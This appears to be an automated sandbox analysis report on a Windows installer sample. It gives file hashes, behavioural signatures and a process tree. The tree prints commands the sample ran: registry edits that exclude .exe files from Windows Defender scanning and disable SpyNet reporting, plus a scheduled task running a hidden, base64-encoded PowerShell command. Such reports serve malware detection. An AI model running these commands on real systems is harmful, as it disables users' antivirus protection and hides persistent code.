Analysis
- max time kernel
177s - max time network
33s - platform
windows7_x64 - resource
win7-20221111-en - resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system - submitted
27/11/2022, 04:26
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20221111-en
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
file.exe
Resource
win10v2004-20220812-en
12 signatures
150 seconds
General
- Target file.exe
- Size 7.3MB
- Sample221127-e2hsyshg43
- SHA256 7bc8f10ee2bfb248b2b70226b5c1d40d83afa2d0972958b1c1fd75350a2054b1
- MD5 d4fffdf546d1966222823407580ea9cb
- SHA1 f5076444ac851f143da4e01c455f5bb9235e7157
- SHA512 b49c9f114ac24cb2fd06bc2ebfbf56093e9489cdcbf1be5ba858733f1452e6adb8b345445ce751b54cb5f87f0d3b193e80e5796eebefe806a4cfc24297e4854a
- SSDEEP 196608:91OONkPj6lzn7ATIgrh9vjIlgx2/a/31zqWrsDU09YVWB:3Ono8TPfvUov1zxrsDNYWB
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Executes dropped EXE 2 IoCs
pid Process 296 Install.exe 1104 Install.exe - Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe - Loads dropped DLL 8 IoCs
pid Process 1688 file.exe 296 Install.exe 296 Install.exe 296 Install.exe 296 Install.exe 1104 Install.exe 1104 Install.exe 1104 Install.exe - Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 828 schtasks.exe - Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 960 powershell.EXE - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 960 powershell.EXE - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1688 wrote to memory of 296 1688 file.exe 28 PID 1688 wrote to memory of 296 1688 file.exe 28 PID 1688 wrote to memory of 296 1688 file.exe 28 PID 1688 wrote to memory of 296 1688 file.exe 28 PID 1688 wrote to memory of 296 1688 file.exe 28 PID 1688 wrote to memory of 296 1688 file.exe 28 PID 1688 wrote to memory of 296 1688 file.exe 28 PID 296 wrote to memory of 1104 296 Install.exe 29 PID 296 wrote to memory of 1104 296 Install.exe 29 PID 296 wrote to memory of 1104 296 Install.exe 29 PID 296 wrote to memory of 1104 296 Install.exe 29 PID 296 wrote to memory of 1104 296 Install.exe 29 PID 296 wrote to memory of 1104 296 Install.exe 29 PID 296 wrote to memory of 1104 296 Install.exe 29 PID 1104 wrote to memory of 1592 1104 Install.exe 31 PID 1104 wrote to memory of 1592 1104 Install.exe 31 PID 1104 wrote to memory of 1592 1104 Install.exe 31 PID 1104 wrote to memory of 1592 1104 Install.exe 31 PID 1104 wrote to memory of 1592 1104 Install.exe 31 PID 1104 wrote to memory of 1592 1104 Install.exe 31 PID 1104 wrote to memory of 1592 1104 Install.exe 31 PID 1104 wrote to memory of 1624 1104 Install.exe 33 PID 1104 wrote to memory of 1624 1104 Install.exe 33 PID 1104 wrote to memory of 1624 1104 Install.exe 33 PID 1104 wrote to memory of 1624 1104 Install.exe 33 PID 1104 wrote to memory of 1624 1104 Install.exe 33 PID 1104 wrote to memory of 1624 1104 Install.exe 33 PID 1104 wrote to memory of 1624 1104 Install.exe 33 PID 1592 wrote to memory of 1784 1592 forfiles.exe 35 PID 1592 wrote to memory of 1784 1592 forfiles.exe 35 PID 1592 wrote to memory of 1784 1592 forfiles.exe 35 PID 1592 wrote to memory of 1784 1592 forfiles.exe 35 PID 1592 wrote to memory of 1784 1592 forfiles.exe 35 PID 1592 wrote to memory of 1784 1592 forfiles.exe 35 PID 1592 wrote to memory of 1784 1592 forfiles.exe 35 PID 1624 wrote to memory of 1856 1624 forfiles.exe 36 PID 1624 wrote to memory of 1856 1624 forfiles.exe 36 PID 1624 wrote to memory of 1856 1624 forfiles.exe 36 PID 1624 wrote to memory of 1856 1624 forfiles.exe 36 PID 1624 wrote to memory of 1856 1624 forfiles.exe 36 PID 1624 wrote to memory of 1856 1624 forfiles.exe 36 PID 1624 wrote to memory of 1856 1624 forfiles.exe 36 PID 1784 wrote to memory of 1384 1784 cmd.exe 37 PID 1784 wrote to memory of 1384 1784 cmd.exe 37 PID 1784 wrote to memory of 1384 1784 cmd.exe 37 PID 1784 wrote to memory of 1384 1784 cmd.exe 37 PID 1784 wrote to memory of 1384 1784 cmd.exe 37 PID 1784 wrote to memory of 1384 1784 cmd.exe 37 PID 1784 wrote to memory of 1384 1784 cmd.exe 37 PID 1856 wrote to memory of 1536 1856 cmd.exe 38 PID 1856 wrote to memory of 1536 1856 cmd.exe 38 PID 1856 wrote to memory of 1536 1856 cmd.exe 38 PID 1856 wrote to memory of 1536 1856 cmd.exe 38 PID 1856 wrote to memory of 1536 1856 cmd.exe 38 PID 1856 wrote to memory of 1536 1856 cmd.exe 38 PID 1856 wrote to memory of 1536 1856 cmd.exe 38 PID 1856 wrote to memory of 1652 1856 cmd.exe 39 PID 1856 wrote to memory of 1652 1856 cmd.exe 39 PID 1856 wrote to memory of 1652 1856 cmd.exe 39 PID 1856 wrote to memory of 1652 1856 cmd.exe 39 PID 1856 wrote to memory of 1652 1856 cmd.exe 39 PID 1856 wrote to memory of 1652 1856 cmd.exe 39 PID 1856 wrote to memory of 1652 1856 cmd.exe 39 PID 1784 wrote to memory of 896 1784 cmd.exe 40
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:296 -
C:\Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe.\Install.exe /S /site_id "525403"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:1592 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:1784 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:326⤵PID:1384
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\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:646⤵PID:896
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C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:1624 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:1856 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:326⤵PID:1536
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\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:646⤵PID:1652
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C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gmDpFZYEK" /SC once /ST 02:09:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="4⤵
- Creates scheduled task(s)
PID:828
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C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gmDpFZYEK"4⤵PID:572
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C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gmDpFZYEK"4⤵PID:944
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C:\Windows\system32\taskeng.exetaskeng.exe {870422B2-62FE-48EC-B91B-44254AFDE9D0} S-1-5-21-3406023954-474543476-3319432036-1000:VUIIVLGQ\Admin:Interactive:[1]1⤵PID:1376
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:960
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
- Size 6.3MB
- SHA256 1b0d105973c2af004427be2b926dfe7ec52a478d22bc2954d1903cca9bdcd492
- MD5 9590715895684d6812f4ab03a97da5fd
- SHA1 af9c89065d55570ef92f33bdef09610902435a95
- SHA512 17c6c47854f82b13b922e7b949f4b274bc93215cb67b17640c9848778d3e0f38956e2e45b86fb04065ccd74a130583f691acb7e242015a9b5c91b8ffb8a18891
- SSDEEP 98304:91OIgr7VbwW2Qeria0Ngi/LKKDunE4oEAMpFOsYmWFgPEISW94pRoyl:91O7Vbl2p8BEE3GPOsYmugMISbRF
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
- Size 6.3MB
- SHA256 1b0d105973c2af004427be2b926dfe7ec52a478d22bc2954d1903cca9bdcd492
- MD5 9590715895684d6812f4ab03a97da5fd
- SHA1 af9c89065d55570ef92f33bdef09610902435a95
- SHA512 17c6c47854f82b13b922e7b949f4b274bc93215cb67b17640c9848778d3e0f38956e2e45b86fb04065ccd74a130583f691acb7e242015a9b5c91b8ffb8a18891
- SSDEEP 98304:91OIgr7VbwW2Qeria0Ngi/LKKDunE4oEAMpFOsYmWFgPEISW94pRoyl:91O7Vbl2p8BEE3GPOsYmugMISbRF
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
- Size 6.8MB
- SHA256 c25663a32cde89862789ce78b6bc8bb492a249ed2a9df63d991d388fd83a5ea3
- MD5 dd29f994c66ff3331d1b777388d5f624
- SHA1 776d6ad6c811b03e294077d947c0230e7ad2da6f
- SHA512 5f5b202f3e76fb45d863af82253ec0c9a37fca70647b56b40fb0f4e05310a6c3cd329de22b879ca159958e0b40f0a6b7c795adef8fd360970f619b534a9e7bfa
- SSDEEP 196608:xHb76UclAvh0KPjngmsN8NWZZ8ynhQpKJ:x7Qss7nhQy
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
- Size 6.8MB
- SHA256 c25663a32cde89862789ce78b6bc8bb492a249ed2a9df63d991d388fd83a5ea3
- MD5 dd29f994c66ff3331d1b777388d5f624
- SHA1 776d6ad6c811b03e294077d947c0230e7ad2da6f
- SHA512 5f5b202f3e76fb45d863af82253ec0c9a37fca70647b56b40fb0f4e05310a6c3cd329de22b879ca159958e0b40f0a6b7c795adef8fd360970f619b534a9e7bfa
- SSDEEP 196608:xHb76UclAvh0KPjngmsN8NWZZ8ynhQpKJ:x7Qss7nhQy
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
- Size 6.3MB
- SHA256 1b0d105973c2af004427be2b926dfe7ec52a478d22bc2954d1903cca9bdcd492
- MD5 9590715895684d6812f4ab03a97da5fd
- SHA1 af9c89065d55570ef92f33bdef09610902435a95
- SHA512 17c6c47854f82b13b922e7b949f4b274bc93215cb67b17640c9848778d3e0f38956e2e45b86fb04065ccd74a130583f691acb7e242015a9b5c91b8ffb8a18891
- SSDEEP 98304:91OIgr7VbwW2Qeria0Ngi/LKKDunE4oEAMpFOsYmWFgPEISW94pRoyl:91O7Vbl2p8BEE3GPOsYmugMISbRF
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
- Size 6.3MB
- SHA256 1b0d105973c2af004427be2b926dfe7ec52a478d22bc2954d1903cca9bdcd492
- MD5 9590715895684d6812f4ab03a97da5fd
- SHA1 af9c89065d55570ef92f33bdef09610902435a95
- SHA512 17c6c47854f82b13b922e7b949f4b274bc93215cb67b17640c9848778d3e0f38956e2e45b86fb04065ccd74a130583f691acb7e242015a9b5c91b8ffb8a18891
- SSDEEP 98304:91OIgr7VbwW2Qeria0Ngi/LKKDunE4oEAMpFOsYmWFgPEISW94pRoyl:91O7Vbl2p8BEE3GPOsYmugMISbRF
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
- Size 6.3MB
- SHA256 1b0d105973c2af004427be2b926dfe7ec52a478d22bc2954d1903cca9bdcd492
- MD5 9590715895684d6812f4ab03a97da5fd
- SHA1 af9c89065d55570ef92f33bdef09610902435a95
- SHA512 17c6c47854f82b13b922e7b949f4b274bc93215cb67b17640c9848778d3e0f38956e2e45b86fb04065ccd74a130583f691acb7e242015a9b5c91b8ffb8a18891
- SSDEEP 98304:91OIgr7VbwW2Qeria0Ngi/LKKDunE4oEAMpFOsYmWFgPEISW94pRoyl:91O7Vbl2p8BEE3GPOsYmugMISbRF
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
- Size 6.3MB
- SHA256 1b0d105973c2af004427be2b926dfe7ec52a478d22bc2954d1903cca9bdcd492
- MD5 9590715895684d6812f4ab03a97da5fd
- SHA1 af9c89065d55570ef92f33bdef09610902435a95
- SHA512 17c6c47854f82b13b922e7b949f4b274bc93215cb67b17640c9848778d3e0f38956e2e45b86fb04065ccd74a130583f691acb7e242015a9b5c91b8ffb8a18891
- SSDEEP 98304:91OIgr7VbwW2Qeria0Ngi/LKKDunE4oEAMpFOsYmWFgPEISW94pRoyl:91O7Vbl2p8BEE3GPOsYmugMISbRF
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
- Size 6.8MB
- SHA256 c25663a32cde89862789ce78b6bc8bb492a249ed2a9df63d991d388fd83a5ea3
- MD5 dd29f994c66ff3331d1b777388d5f624
- SHA1 776d6ad6c811b03e294077d947c0230e7ad2da6f
- SHA512 5f5b202f3e76fb45d863af82253ec0c9a37fca70647b56b40fb0f4e05310a6c3cd329de22b879ca159958e0b40f0a6b7c795adef8fd360970f619b534a9e7bfa
- SSDEEP 196608:xHb76UclAvh0KPjngmsN8NWZZ8ynhQpKJ:x7Qss7nhQy
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
- Size 6.8MB
- SHA256 c25663a32cde89862789ce78b6bc8bb492a249ed2a9df63d991d388fd83a5ea3
- MD5 dd29f994c66ff3331d1b777388d5f624
- SHA1 776d6ad6c811b03e294077d947c0230e7ad2da6f
- SHA512 5f5b202f3e76fb45d863af82253ec0c9a37fca70647b56b40fb0f4e05310a6c3cd329de22b879ca159958e0b40f0a6b7c795adef8fd360970f619b534a9e7bfa
- SSDEEP 196608:xHb76UclAvh0KPjngmsN8NWZZ8ynhQpKJ:x7Qss7nhQy
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
- Size 6.8MB
- SHA256 c25663a32cde89862789ce78b6bc8bb492a249ed2a9df63d991d388fd83a5ea3
- MD5 dd29f994c66ff3331d1b777388d5f624
- SHA1 776d6ad6c811b03e294077d947c0230e7ad2da6f
- SHA512 5f5b202f3e76fb45d863af82253ec0c9a37fca70647b56b40fb0f4e05310a6c3cd329de22b879ca159958e0b40f0a6b7c795adef8fd360970f619b534a9e7bfa
- SSDEEP 196608:xHb76UclAvh0KPjngmsN8NWZZ8ynhQpKJ:x7Qss7nhQy
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
- Size 6.8MB
- SHA256 c25663a32cde89862789ce78b6bc8bb492a249ed2a9df63d991d388fd83a5ea3
- MD5 dd29f994c66ff3331d1b777388d5f624
- SHA1 776d6ad6c811b03e294077d947c0230e7ad2da6f
- SHA512 5f5b202f3e76fb45d863af82253ec0c9a37fca70647b56b40fb0f4e05310a6c3cd329de22b879ca159958e0b40f0a6b7c795adef8fd360970f619b534a9e7bfa
- SSDEEP 196608:xHb76UclAvh0KPjngmsN8NWZZ8ynhQpKJ:x7Qss7nhQy
- MD5 SHA1 SHA512 SSDEEP